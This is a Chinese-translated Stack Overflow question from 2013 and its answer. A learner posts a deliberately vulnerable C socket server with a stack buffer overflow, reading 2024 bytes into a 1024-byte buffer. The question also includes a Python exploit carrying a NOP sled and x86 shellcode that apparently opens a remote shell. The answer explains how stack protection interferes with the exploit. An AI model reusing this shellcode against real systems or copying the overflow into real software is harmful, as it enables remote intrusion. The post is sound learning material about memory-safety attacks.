【问题标题】:buffer overflow - exploit works while debuging with gdb, but缓冲区溢出 - 使用 gdb 调试时,exploit 有效,但是
【发布时间】:2013-10-04 22:34:24
【问题描述】:

我正在尝试学习/理解缓冲区溢出。我虽然已经得到它,但现在我在利用这个(我的)易受攻击的代码时遇到了问题。

当我运行我的漏洞利用时,当服务器在 gdb 中运行时,漏洞利用工作并且我得到远程 shell(有效负载被正确执行)。但是然后我在调试器之外启动服务器,当我开始我的漏洞利用时,我得到了浮点异常。谁能解释一下我做错了什么?

服务器:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void error(const char *msg) {
   perror(msg);
   exit(1);
}

void passcheck(int sockfd) {
   char buffer[1024];
   int newsockfd, n;
   struct sockaddr_in cli_addr;
   socklen_t clilen;

   for (n=0; n<1024; n++) buffer[n] = 0x31;

   clilen = sizeof(cli_addr);
   newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
   if (newsockfd < 0)
      error("ERROR on accept");
   n = write(newsockfd,"PASSWORD: ",10);
   if (n < 0) error("ERROR writing to socket");
   n = read(newsockfd,buffer,2024);
   if (n < 0) error("ERROR reading from socket");
   close(newsockfd);
   return;
}
int main(int argc, char *argv[]) {
   int sockfd, portno;
   struct sockaddr_in serv_addr;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   if (sockfd < 0)
      error("ERROR opening socket");
   bzero((char *) &serv_addr, sizeof(serv_addr));
   portno = 5001;
   serv_addr.sin_family = AF_INET;
   serv_addr.sin_addr.s_addr = INADDR_ANY;
   serv_addr.sin_port = htons(portno);
   if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
      error("ERROR on binding");
   listen(sockfd,5);
   while(1) {
     passcheck(sockfd);
     printf("Try again\n");
   }
   close(sockfd);
   return 0;

利用:

    #!/usr/bin/python

import socket

payload =  "\x90"*(502)+"\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\x90"+"\x04\xf3\xff\xbf"*150

s = socket.socket()
host = "127.0.0.1"
port = 5001
s.connect((host, port))
s.send(payload)
s.close

【问题讨论】:

    标签: c stack-overflow


    【解决方案1】:

    当我尝试运行您的示例程序时(在 OS X 上),我遇到了分段错误,但无论我是否在 GDB 中运行它,我都会遇到:

    Program received signal SIGSEGV, Segmentation fault.
    0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
    (gdb) bt
    #0  0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
    #1  0x00007fff832c2754 in getenv () from /usr/lib/system/libsystem_c.dylib
    #2  0x00007fff83283b35 in _simple_asl_init ()
       from /usr/lib/system/libsystem_c.dylib
    #3  0x00007fff8327afc0 in pthread_once ()
       from /usr/lib/system/libsystem_c.dylib
    #4  0x00007fff832838f8 in _simple_asl_log_prog ()
       from /usr/lib/system/libsystem_c.dylib
    #5  0x00007fff832bff8b in __stack_chk_fail ()
       from /usr/lib/system/libsystem_c.dylib
    #6  0x0000000100000c86 in passcheck (sockfd=-1073745148) at foo.cpp:31
    

    请注意,__stack_chk_fail 似乎是 GCC 使用的 stack smashing protection 的一部分,因此您的缓冲区溢出尝试并未被忽视。我必须承认我不完全确定为什么它稍后会出现段错误。

    无论哪种方式,如果您在自己尝试此操作时遇到类似问题,我不会感到惊讶。如果您想尝试缓冲区溢出,我建议您使用较旧的 Linux 发行版和 gcc 版本,并确保关闭 GCC 保护机制。我推荐Damn Small Linux,它仍然有2.4内核,我记得2.6还添加了一些缓冲区溢出保护机制。

    您已经了解到缓冲区溢出并不像以前那么简单! :-)

    【讨论】:

      猜你喜欢
      • 2013-07-20
      • 1970-01-01
      • 1970-01-01
      • 2012-05-19
      • 1970-01-01
      • 1970-01-01
      • 2011-01-20
      • 2013-01-05
      • 1970-01-01
      相关资源
      最近更新 更多